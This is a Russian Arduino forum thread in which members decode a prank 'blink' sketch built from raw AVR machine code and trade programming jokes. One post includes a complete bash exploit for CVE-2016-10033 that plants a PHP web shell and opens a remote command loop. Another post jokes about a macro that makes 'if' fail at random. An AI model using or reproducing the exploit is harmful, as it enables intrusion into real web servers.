Блинк не для девочек

ЕвгенийП
ЕвгенийП аватар
Offline
Зарегистрирован: 25.05.2015

Давненько мы светодиодами не мигали, коллеги. Замутим-ка ещё оди блинк?

Итак, берём скетч, 

static const unsigned long l [] PROGMEM = { 3772422693, 4026527727, 4159805233, 4157707738, 3489110557 };

void setup() { for (uint8_t i=0;((uint8_t(*)())&(l[i]))(),i++;i++); }

void loop(void) {}

вгружаем в плату и мигаем на здоровье :)))))

ЕвгенийП
ЕвгенийП аватар
Offline
Зарегистрирован: 25.05.2015

Да, забыл сказать, UNO/NANO - то бишь 328-ой контроллер. Всякие Меги и прочие Due не прокатывают :)

andriano
andriano аватар
Offline
Зарегистрирован: 20.06.2015

Хачю быть девачкой!

ЕвгенийП
ЕвгенийП аватар
Offline
Зарегистрирован: 25.05.2015

Чо? Нипанравилось? Мигает же ж, сцуко! Можно и частоту поментяь, если надо :)

ua6em
ua6em аватар
Offline
Зарегистрирован: 17.08.2016

А в чём цимус?

Евгений Петрович! Помогли бы лучше с алгоритмом удержания максимального тока устройства

Старый
Offline
Зарегистрирован: 09.10.2016

Жень... Ну пауза уже выдержана .... Объясни нижним слоям форума - в чем секрет?Я тебе верю -. Но есть вопросы. Лед подсоединять надо?Комментировать код желательно...

Ну а если серъезно . сказал "А" - скажи , если можно ,и "Б".. Расшифруй для туповастых..Или нам и не дано...

Для меня тут вообще ничего не понятно- выходом не объявлен не какой вывод.. И вооще. Ну не понял.. Ну вот так как-то..А хотелось бы.

ЕвгенийП
ЕвгенийП аватар
Offline
Зарегистрирован: 25.05.2015

ua6em пишет:

А в чём цимус?

так нету никакого цимуса - никаких хитрых библиотек и прочего - всё в приведённых трёх строчках.

Ну, Вы нашли специалиста :)

Старый пишет:

в чем секрет?

Так нету ж ....

Там всё совсем просто, более того, признаюсь, что примерно половина кода нафиг не нужна и без неё мигать будет, а добавлена для того чтобы хоть чуть-чуть мозг запудрить и очевидную простоту прикрыть.

Старый пишет:

Лед подсоединять надо?

Зачем? Не 13-ом пине ж есть. Им и мигаем. Вы попробуйте, запустите.

Старый пишет:

Комментировать код желательно...

Код состоит из трёх строк (если пустые не считать). Какую именно Вы желаете прокомментировать?

Клапауций 823 пишет:
я запретил.

пох

------------------------

Мужики, ну это же шутка. Уверен, что если кому-нибудь из спецов будет не влом, её быстро расколят. Если же всем будет в лом, обязуюсь в понедельник вечером расколоться, а пока подумайте :)

Маленькая подсказка: массив l, очевидно, содержит параметры блинка. Например, если в нём нулевой элемент 3772422693 заменить на 3822230053, то частота уменьшится вдвое.

 

Клапауций 823
Клапауций 823 аватар
Offline
Зарегистрирован: 13.01.2017

ЕвгенийП пишет:

Зачем? Не 13-ом пине ж есть.

блин. это же было так очевидно - у всех блинк на 13-м пине.

Voodoo Doll
Voodoo Doll аватар
Offline
Зарегистрирован: 18.09.2016

Как же мне люто доставляют подобные хаки. Напоминает шеллкод, содержащий 3 или 7 неприличных букв, и то как такой код весело обламывается в моей системе.

Ворота
Ворота аватар
Offline
Зарегистрирован: 10.01.2016

Не надо пока колоться, дай подумать.
Я так понял ++ в 3 строке (хоть оба, хоть любой) можно убирать или на -- менять - ничего не меняется мигает также. А вот массив - чуть прикоснёшся - всё ломается. Обе указанные ТС частоты у меня работаю, но вот как сделать какую-то ещё, что-то пока ничего не выходит. Кстати на голой 328p тоже работает, но если поставить тактову. 8МГцб то частота блинкования уменьшается, значит задержки там без таймеров. У меня пиздецома мозга начинает развиваться.

ЕвгенийП
ЕвгенийП аватар
Offline
Зарегистрирован: 25.05.2015

Voodoo Doll пишет:

то как такой код весело обламывается в моей системе.

Простите, у Вас не заработало? На 328-ой ATmega? А что у Вас за система? Весьма обяжете, т.к. по мне так должно всё работать, давайте разбираться.

ЕвгенийП
ЕвгенийП аватар
Offline
Зарегистрирован: 25.05.2015

Ворота пишет:

У меня пиздецома мозга начинает развиваться.

Со здоровьем-то поосторожнее! И ваще - "трюки выполнены профессионалами, не пытайтесь повторить, за любой вред (или пользу) при попытках повторить, армянское радио отвествеености не несёт" :))

negavoid
Offline
Зарегистрирован: 09.07.2016

ну, вся программа - это двадцать байт, записанных константами, представляющая собой бесконечный цикл

for, разумеется, для запутывания, а выполняется простой переход на первый байт данных, которые являются кодом :)

int main(void) { ((uint8_t(*)()) & (l[0]))(); }

ну а дизассемблированные "данные-код" - это вот эта программа, уж звиняйте, я не знаток асма для авра, почему оно моргает - я хз :)

если заменить первую константу массива на 3822230053, то по 0x6a будет d2 e3, очевидно ldi чего-то другого куда-то, с другой задержкой, задержка как я понимаю, в 0x74: dec r29, в который и пишется в 0x6a :)

  68:	25 9a       	sbi	0x04, 5	; 4
  6a:	da e0       	ldi	r29, 0x0A	; 10 ; label start
  6c:	ef ef       	ldi	r30, 0xFF	; 255
  6e:	ff ef       	ldi	r31, 0xFF	; 255
  70:	31 97       	sbiw	r30, 0x01	; 1
  72:	f1 f7       	brne	.-4      	; 0x70 <__trampolines_end+0x8>
  74:	da 95       	dec	r29
  76:	d1 f7       	brne	.-12     	; 0x6c <__trampolines_end+0x4>
  78:	1d 9a       	sbi	0x03, 5	; 3
  7a:	f7 cf       	rjmp	.-18     	; 0x6a <__trampolines_end+0x2> ; goto start

 

wdrakula
wdrakula аватар
Онлайн
Зарегистрирован: 15.03.2016
static const unsigned long l [] PROGMEM = {

3772422693,// = 0xE0DA9A25
// 25 9a == sbi 4,5 == pin13 out
// da e0 == r29 = 0a (:Label1)
4026527727, // = 0xEFFFEFEF
// ef ef == r30 = ff (:Label2)
// ff ef == r31 = ff
4159805233, // = 0xF7F19731
// 31 97 == Z(r31,r30) --
// f1 f7 == повторяем пока не 0
4157707738, // = 0xF7D195DA
// da 95 == r29--  
// d1 f7 == goto (Label2)
3489110557  // = 0xCFF79A1D
// 1d 9a == sbi 3,5 // это ПЕРЕКЛЮЧЕНИЕ вывода, хитрость в проце.
// f7 cf == goto (Label1)
};

void setup() { for (uint8_t i=0;((uint8_t(*)())&(l[i]))(),i++;i++); }

void loop(void) {}

Я злой троль и спойлерист!!! Я прокоментировал код Евгения.

Мля! Неужели сходу не было ясно, что кусок кода Женя просто машкодах записал, а потом в лонг перевел, чтобы вас запутать?

-----

Можно красивее сделать.

Тут цикл в рог не уперся, после первого захода в него - в него больше не вернемся.

А можно процедурой сделать, с возвратом, так, чтобы нормально легло в структуру ардуиновской программы.

Я даже скажу как:

пишите коротенькую функцию без параметров. Только объявите волатилью, чтобы компилятор ее нормально отработал.

Потом их HEX аккуратно перепишите код. Помните о порядке байт!!!! переписываем по словам и переставляем байты в каждом слове!

Потом все загоняете в массив. Будет красиво.

Типа домашнего задания для не шибко продвинутых - СДЕЛАЙТЕ!

А потом Евгений проверит, ну я тоже помогу, если лень не будет.

wdrakula
wdrakula аватар
Онлайн
Зарегистрирован: 15.03.2016

раз уж успели дизассемблировать, пока я писал, то:

1. не силен в асме это как? а в таблице умножения? Никто ж не просит наизусть учить... справочник есть. Я даже стандарные функции С всегда в мане уточняю.

2. Прикол тут ТОЛЬКО один! Мало известно, что запись в PINB переключает состояние пина. Но это есть в даташите.

А Женя - большой любитель демонстрировать нам редкие и необычные "черные дыры" процессора.

18.2.2.
Toggling the Pin
Writing a '1' to PINxn toggles the value of PORTxn, independent on the value of DDRxn. The SBI
instruction can be used to toggle one single bit in a port.

wdrakula
wdrakula аватар
Онлайн
Зарегистрирован: 15.03.2016

Клапауций 823 пишет:

wdrakula пишет:

Мля! Неужели сходу не было ясно, что кусок кода Женя просто машкодах записал, а потом в лонг перевел, чтобы вас запутать?

я давно в курсе, что Женю студенты пиздят по подворотнях.

Бобёр! Выдыхай! ;) Расслабляццо нужно. Шабат на дворе!

Ворота
Ворота аватар
Offline
Зарегистрирован: 10.01.2016

Блин, кайфоломщики! Я уже почти сам допёр!

В общем такое программирование - гнусный хак, а заголовок топика - гнусный сексизм! Вот!!!

ЕвгенийП
ЕвгенийП аватар
Offline
Зарегистрирован: 25.05.2015

Ну, вот, такт-то лучше, а то блин, 3.14-цомы какие-то ...

wdrakula пишет:

Потом их HEX аккуратно перепишите код. Помните о порядке байт!!!! переписываем по словам и переставляем байты в каждом слове!

В это месте я схалтурил - записал всё массивом байтов, а на него union'ом наложил массив лонгов и последний тупо напечатал - никакой головной боли с порядком :)

Ворота пишет:

такое программирование - гнусный хак

Да, нет, с чего? Он был бы GNU'сным, если бы я воспользовался расширением GNU-C и вместо вызова функции сделал бы переход по назначаемому goto, а так - где ж там особая GNU'сность? Хак, как хак. А с goto я не рискнул - набегут структурасты - порвут нахрен :)

Ворота пишет:

а заголовок топика - гнусный сексизм!

Блин, молодёжь, Вы что-нить акромя Донцовой читаете? «… заведующий вычислительной лабораторией крайне редко занимается проверкой программ – для этого существуют математики-программисты, которых в нашей лаборатории двое и которых авторы упорно называют девочками» (очень надеюсь, что автора и произведение называть всё же не нужно :))))
 
------------------
 
Да, и ещё, о пользе данного кода (вернее, не самого кода, а подхода).  У нас ведь часто заваливают на форум студенты-бестолочи с заявлениями типа "Надо чтоб по кнопке светоиод загорелся а чере 3 секунды погас, я тут типа начинающий, нихрена не знаю и знать не хочу, а потому быстренько все ноги в руки и пишете мне код срочно" (ссылки нужны?). Так вот не раз уж подмывало написать такому орлу его задачу на брейнфаке, пусть идёт сдаёт. А теперь вот ещё вариант появился - можно на BF,  а можно и так, как здесь. Одно жаль, на процесс сдачи не посмотреть. Я б на такое зрелище и билет бы купил :)
wdrakula
wdrakula аватар
Онлайн
Зарегистрирован: 15.03.2016

Евгений! Уж не намекаешь ли ты на способ обхода лицензии GPL?

типа вот он - исходный код, даже с комментариями... кушайте, не обляпайтесь. Так?

Logik
Offline
Зарегистрирован: 05.08.2014

А заодно и самого грязного хака на форуме. Этож надо было додуматся исполнять блок данных?! Следующий этап - подбирать команды ассемблера для хранения фонтов в коде )))

Действительно, нездоровая тяга к мозгоебству, то это http://arduino.ru/forum/programmirovanie/razrabotka-sketchei-na-yazyke-brainfuck притянули, теперь еще этот - хаки. Вспоминается что делает кот, когда ему нечего делать ;)

wdrakula
wdrakula аватар
Онлайн
Зарегистрирован: 15.03.2016

Логик! Ты чего злой такой? У тебя велосипеда нет? ;) Очень хороший пример на сообразительность.

Тут у нас хобби, а не работа. Тут мы развлекаемся тащемто... Хорошая задачка - и кошке приятна.

Расслабляемся все! (... и наливает себе из графина...)

ЕвгенийП
ЕвгенийП аватар
Offline
Зарегистрирован: 25.05.2015

Logik пишет:

Следующий этап - подбирать команды ассемблера для хранения фонтов в коде )))

Не, ну использовать код в качестве данных и данные в качестве кода - святое дело. Гарвардская архитектура она, конечно, не для "настоящих мужчин", но и в ней кое-как повеселиться можно :)

Logik пишет:

нездоровая тяга к мозгоебству, 

ну, не без этого :)

Logik пишет:

Вспоминается что делает кот, когда ему нечего делать ;)

Так ото'ж! :)

Arhat109-2
Offline
Зарегистрирован: 24.09.2015

Ожидал, что тема освоения Евгением AVR-ассемблера окажется настолько проблемной и вызовет такое непонимание такой ерунды... в целом - это просто стеб. И гораздо проще воспользоваться асм вставками, если приспичило.

ua6em
ua6em аватар
Offline
Зарегистрирован: 17.08.2016

ЕвгенийП пишет:

Не, ну использовать код в качестве данных и данные в качестве кода - святое дело. Гарвардская архитектура она, конечно, не для "настоящих мужчин", но и в ней кое-как повеселиться можно :)

 

 

Это да, на x86 для этого даже команда есть исполняемая за один так процессора, XLAT называется )))

 

 

Logik
Offline
Зарегистрирован: 05.08.2014

wdrakula пишет:

Логик! Ты чего злой такой? У тебя велосипеда нет? ;) Очень хороший пример на сообразительность.

Пример чего? Ну чему оно может служить примером?! Я восторгаюсь когда сложные вещи пишутся просто и понятно, а противоположный подход вызывает и противоположные эмоции. Какой подход ценней ценней думаю очевидно.

А изголятся можна до бесконечности, если к примеру теж инты заменить строкой, да еще осмысленого текста, было бы еще занятней ;)

wdrakula пишет:

Расслабляемся все! (... и наливает себе из графина...)

Ну это само собой конечно, и поржать, и налить ;) 

Voodoo Doll
Voodoo Doll аватар
Offline
Зарегистрирован: 18.09.2016

ЕвгенийП пишет:
Весьма обяжете, т.к. по мне так должно всё работать

Да на ардуине то с чего бы этому не работать? Я про сам принцип написания подобных прог, выражаясь яснее - не факт что оно будет работать так же на, скажем, atmega128.

Но. Не это самое худшее. Худшее заключается в том, что я смотрю на эту строку, и у меня в голове не возникает чёткая последовательность действий микроконтроллера - она слишком неоднозначна и зависит от содержимого l[], содержимого, являющегося по сути байт-кодом, уже странслированными компилятором инструкциями, которых не упомнить наизусть, ибо попробуй помнить все опкоды всех команд, не на чём-то, а на ассемблере. Я понимаю, инфа эта не устареет ещё лет 20, но за это время появятся куда более мощные процессоры, под которые хоть индусы смогут писать, на 1С:паскале, с русскими именами функций. То есть самый ублюдский, самый неоптимальный код, который написало любое абсолютно тупое животное, им будет нипочём. А здесь мы видим выверенные, хирургически правильные инструкции, которые по сути уже даже сейчас вовсе необязательны. Хак. Изящно, но бесполезно.

Disclaimer: это имхо. Доказывать свою правоту я не собираюсь и агриться зазря на меня не стоит, я даже вряд-ли читать стану, так что только время потеряете.

a5021
Offline
Зарегистрирован: 07.07.2013

Массив надо было blob называть и всех орущих, что не по канону, сразу в лес.

Voodoo Doll
Voodoo Doll аватар
Offline
Зарегистрирован: 18.09.2016

Захотелось пример найти.

#!/bin/bash
if [ -z "$1" ]
then
    echo '[-] Please inform an host as parameter'
    exit -1
fi
host=$1
echo '[+] Exploiting '$host
curl -sq 'http://'$host -H 'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzXJpHSq4mNy35tHe'
  --data-binary $'------WebKitFormBoundaryzXJpHSq4mNy35tHe\r\nContent-Disposition: form-data; name="action"\r\n\r\n
    submit\r\n------WebKitFormBoundaryzXJpHSq4mNy35tHe\r\nContent-Disposition: form-data; name="name"\r\n\r\n
    <?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>\r\n
    ------WebKitFormBoundaryzXJpHSq4mNy35tHe\r\nContent-Disposition: form-data; name="email"\r\n\r\n
    vulnerables@ -OQueueDirectory=/tmp -X/www/backdoor.php\r\n------WebKitFormBoundaryzXJpHSq4mNy35tHe\r\n
    Content-Disposition: form-data; name="message"\r\n\r\nPwned\r\n
    ------WebKitFormBoundaryzXJpHSq4mNy35tHe--\r\n' >/dev/null
  && echo '[+] Target exploited, acessing shell at http://'$host'/backdoor.php'
cmd='whoami'
while [ "$cmd" != 'exit' ]
do
    echo '[+] Running '$cmd
    curl -sq http://$host/backdoor.php?cmd=$(echo -ne $cmd | base64) | grep '|' | head -n 1 | cut -d '|' -f 2 | base64 -d
    echo
    read -p 'RemoteShell> ' cmd
done
echo '[+] Exiting'

Это эксплуататор уязвимости CVE-2016-10033. Строки 9-17 это на самом деле одна большущая строка, но это не так важно, переносы просто чтобы прокрутки не было. В ней видно параметр --data-binary, передающий curl содержимое запроса, так называемую полезную нагрузку. Тут не так явно демонстрируется суть подобных хаков, этот шелл-код не является предварительно скомпилированным как в первом посте, но всё равно, усматривается их общая черта, а именно - три буквы, написанные в "строке" 12. Прекрасно будет работать, принимая в качестве команды запросы к httр://host/backdoor.php, до тех пор пока переменная среды с именем командного интерпретатора называется cmd. Достаточно переименовать её, и хакер потопает лесом.

ЕвгенийП
ЕвгенийП аватар
Offline
Зарегистрирован: 25.05.2015

Voodoo Doll пишет:

Это эксплуататор уязвимости CVE-2016-10033. 

Для какой версии Ардуино?

ЕвгенийП
ЕвгенийП аватар
Offline
Зарегистрирован: 25.05.2015

a5021 пишет:

Массив надо было blob называть и всех орущих, что не по канону, сразу в лес.

Да, ладно, чего там. У нас свобода и демократия. Кто хочет - в лес, кто хочет - в сад, а кто хочет - здесь свою продвинутость демонстрирует :))))

Arhat109-2
Offline
Зарегистрирован: 24.09.2015

Да ладно уж, чего там. Нормальные программисты начинают знакомство с камнем с поиска и ознакомления с набором команд Ассемблера. Помнится тот же faeton первым делом запрашивал "хде взять" .. наконец-то, всего через 2 года работы с Ардуино, Вы снизошли от "великолепного С++" к прозе жизни программиста микроконтроллеров - Асму. Впрочем, прогресс однако. Примите мои поздравления тоже. :)

wdrakula
wdrakula аватар
Онлайн
Зарегистрирован: 15.03.2016

Архат! У меня в детстве была одноклассница, которая не могла читать Швейка, а "12 стульев" считала очень грустной книгой.

Почему вспомнил? ...Читая Вас вспомнилось, к чему бы?

Говорят, что чувство юмора можно развивать.

Вы про програмистские шутки вообше слышали? Это шутка такая, ребус, загадка, тренировка ума...

Помните задачу про программу, печатающую свой собственный код?

Мне кажется, что отношение к решению той задачи - лакмусовая бумажка профессии: кто восторгается изяществом решения - программист, кого раздражает эквилибристика - недалекий ремесленник.

Вот. кстати, квайн для ардуинки нанки.

#include <stdio.h>
char program[250] = "#include <stdio.h>%cchar program[250] = %c%s%c;%cvoid setup()%c{%cchar ss[256];%cSerial.begin(9600);%csprintf(ss,program, 10, 34, program, 34, 10, 10, 10, 10, 10, 10, 10, 10, 10);%cSerial.prinln(ss);%c}%cvoid loop() {}%c";
void setup()
{
char ss[256];  
Serial.begin(9600);
sprintf(ss,program, 10, 34, program, 34, 10, 10, 10, 10, 10, 10, 10, 10, 10);
Serial.println(ss);
}
void loop() {}

 

ua6em
ua6em аватар
Offline
Зарегистрирован: 17.08.2016

Код ценен идеей - как наваять нечто, как этому нечто передать бразды правления, могут ли быть такие задачи - могут

Arhat109-2
Offline
Зарегистрирован: 24.09.2015

Когда-то любая дурь мне тоже казалось прикольной шуткой. Так, к примеру, когда-то поймали вирус на ДОС 'stone' кажись .. который лез в MBR и портил разделы .. реассемблировали, подивились "чего такой большой" .. и решили "улучшить". На спор. Мой рекорд 132 байта с полностью сохраненным функционалом, у коллеги вышло ишо меньше 125 .. но, увы как оказалось кастрированный вариант .. долго потом ржали, было весело. Оглядываясь назад, вот не могу вспомнить чего ржали-то? Да так долго..

Так вот и тут .. такие "выкрутасы" могут быть юмором, "в начале карьеры", а когда их насмотришься тоннами .. бородатое оно всё. И сильно.

Можете ещё посмеяться над такой шуткой:

// Файл включения библиотеки в проект на "С":
// ... 100-500 строк кода определений

#define isOk(p) (rand(0,100)>(p))

// .. ещё 100500 строк инклудника

#define if(p) if( isOk(50) && (p) )

// .. остаток инклудника .. тут можно смеяться. :)

Уже приводил эту шутку помнится .. кстати, на похожий "прикол" и может даже с той же самой "читаемостью результата". Ну и, весело? :)

ЕвгенийП
ЕвгенийП аватар
Offline
Зарегистрирован: 25.05.2015

wdrakula,

бросьте Вы эту дискуссию. Сказано же, что «не для девочек», но они всё равно набежали, так всегда бывает. «Девочкам» этой темы не понять даже «не потому, что понятия слабы, а просто потому, что это не входит в круг их понятий». А тут у Вас ещё более тяжёлый случай: «девочки» - они хоть программировать умеют, дискутировать же с невежественным (даже «воинственно-невежественным») прогером – занятие и вовсе …

(чисто для исключения недопонимания: слово «девочки» здесь не имеет отношения ни к полу, ни к возрасту – это термин из повести Стругацких, означающий программиста, для которого программирование – работа). 

Mr.Privet
Mr.Privet аватар
Offline
Зарегистрирован: 17.11.2015

Здесь как то всплывал вопрос как сделать чтобы скетч работал в "демо" режиме (для продажи) и скрыть от глаз обывателя тот момент которым он эту "демо" отрабатывает, мне кажется это отличный способ

ЕвгенийП
ЕвгенийП аватар
Offline
Зарегистрирован: 25.05.2015

Слишком дорогой способ. Там не совсем всё так просто. Это в данном примере программа мигания написана так, что она не зависит от того в каком именно месте памяти она расположена (вся адресация относительная), но это далеко не всегда так.

ua6em
ua6em аватар
Offline
Зарегистрирован: 17.08.2016

ЕвгенийП пишет:

Слишком дорогой способ. Там не совсем всё так просто. Это в данном примере программа мигания написана так, что она не зависит от того в каком именно месте памяти она расположена (вся адресация относительная), но это далеко не всегда так.

Пример в студию прямой адресации, память программ большая, надо же чем-то заполнять

Arhat109-2
Offline
Зарегистрирован: 24.09.2015

ua6em, этот подход не поможет ни разу. Как только Вы видите преобразование указателя куда-либо в указатель на функцию с параметром или без - вот так сразу, дальше "код можно не читать", а тупо дизассемблировать то место куда он указывает. Поможет только в одном случае: если приемщик - просто не знаком с программированием. Но в таком разе, помогут и способы куда как проще. А вот когда Вам самому потребуется внести изменения, да в сжатый срок .. замаетесь адреса выравнивать в новой версии кода. О чем Вам Евгений косвенно и намекнул только что выше.

Этот типовой прикол накрывает с головой всех, кто впервые освоил Ассемблер. На нем и не такое вытворять можно.. :) Проходит с возрастом.

Подкину идейку: флеш - перезаписываемая память у дунек ваще-то. И пишется она командами побайтно, а вот стирается по страничкам. Так что вполне можно накидать кусок кода, который будет .. изменять константу выражения (в допустимых пределах) в уже откомпилированном и выполняющемся коде. На этом можно строить программы с ограниченным временем исполнения без привлечения EEPROM.

Ворота
Ворота аватар
Offline
Зарегистрирован: 10.01.2016

Мля, ну надо ж было ...  и тут срач развели.

Да, чувство юмора оно или есть, или его нет.

ЕвгенийП
ЕвгенийП аватар
Offline
Зарегистрирован: 25.05.2015

wdrakula пишет:

Вот. кстати, квайн для ардуинки нанки.

#include <stdio.h>
char program[250] = "#include <stdio.h>%cchar program[250] = %c%s%c;%cvoid setup()%c{%cchar ss[256];%cSerial.begin(9600);%csprintf(ss,program, 10, 34, program, 34, 10, 10, 10, 10, 10, 10, 10, 10, 10);%cSerial.prinln(ss);%c}%cvoid loop() {}%c";
void setup()
{
char ss[256];  
Serial.begin(9600);
sprintf(ss,program, 10, 34, program, 34, 10, 10, 10, 10, 10, 10, 10, 10, 10);
Serial.println(ss);
}
void loop() {}

А на BrainFuck'е слабо? :)))))

ua6em
ua6em аватар
Offline
Зарегистрирован: 17.08.2016

Arhat109-2 пишет:

ua6em, этот подход не поможет ни разу. Как только Вы видите преобразование указателя куда-либо в указатель на функцию с параметром или без - вот так сразу, дальше "код можно не читать", а тупо дизассемблировать то место куда он указывает. Поможет только в одном случае: если приемщик - просто не знаком с программированием. Но в таком разе, помогут и способы куда как проще. А вот когда Вам самому потребуется внести изменения, да в сжатый срок .. замаетесь адреса выравнивать в новой версии кода. О чем Вам Евгений косвенно и намекнул только что выше.

Этот типовой прикол накрывает с головой всех, кто впервые освоил Ассемблер. На нем и не такое вытворять можно.. :) Проходит с возрастом.

Подкину идейку: флеш - перезаписываемая память у дунек ваще-то. И пишется она командами побайтно, а вот стирается по страничкам. Так что вполне можно накидать кусок кода, который будет .. изменять константу выражения (в допустимых пределах) в уже откомпилированном и выполняющемся коде. На этом можно строить программы с ограниченным временем исполнения без привлечения EEPROM.

По этому процессору не скажу, но для Интел методы защит от дизассемблирования и прохождения под отладчиком знаю - в Цербере все применялись, случаев прохождения оного под отладчиком не знаю, взлом был но только для конкретной программы и не самой защиты, а использование особенностей защиты для создания дубликата защищенной версии программы )))
Но чтобы кто-то дизассемблировал код защиты и прошёл его отладчиком, такого не знаю

А для этого скорее всего достойной защиты придумать нельзя, так как память программ отделена от памяти данных
 

Arhat109-2
Offline
Зарегистрирован: 24.09.2015

Покурите за старый, добрый имитирующий дизассемблер Пачковского. :)

ua6em
ua6em аватар
Offline
Зарегистрирован: 17.08.2016

Интересно было бы посмотреть лет 25 назад, сейчас уже абсолютно не интересно )))
Кстати Цербер старая программа, тогда еще 286 процессора не было

А вообще любая защита ловится на механизме принятия решения

Arhat109-2
Offline
Зарегистрирован: 24.09.2015

Не любая, ибо не всякая защита имеет сосредоточенный механизм принятия решений .. :)

ua6em
ua6em аватар
Offline
Зарегистрирован: 17.08.2016

ну ветвления то есть в любой )))

как там в сказках ...налево пойдёшь...

Arhat109-2
Offline
Зарегистрирован: 24.09.2015

Не обязательно. И ветвлений в программах как-бы много.. К примеру, сталкивался с таким вариантом защиты: внешний ключ, втыкаемый в PCI шину, залитый эпоксидкой и содержащий уникальный номер, который .. использовался как память смещений расположения "констант" в каде. Компиляция, как понимаю, шла "под ключ", программа тупо переписывала содержимое памяти ключа, начиная с "известного" ей адреса .. и? Да, "ключа" у Вас - нет конечно же.. :)

Или мой подход в свое время, основанный на организации псевдопараллельного вычисления со статическим созданием задач на этапе компиляции .. и? Нету тут единого центру.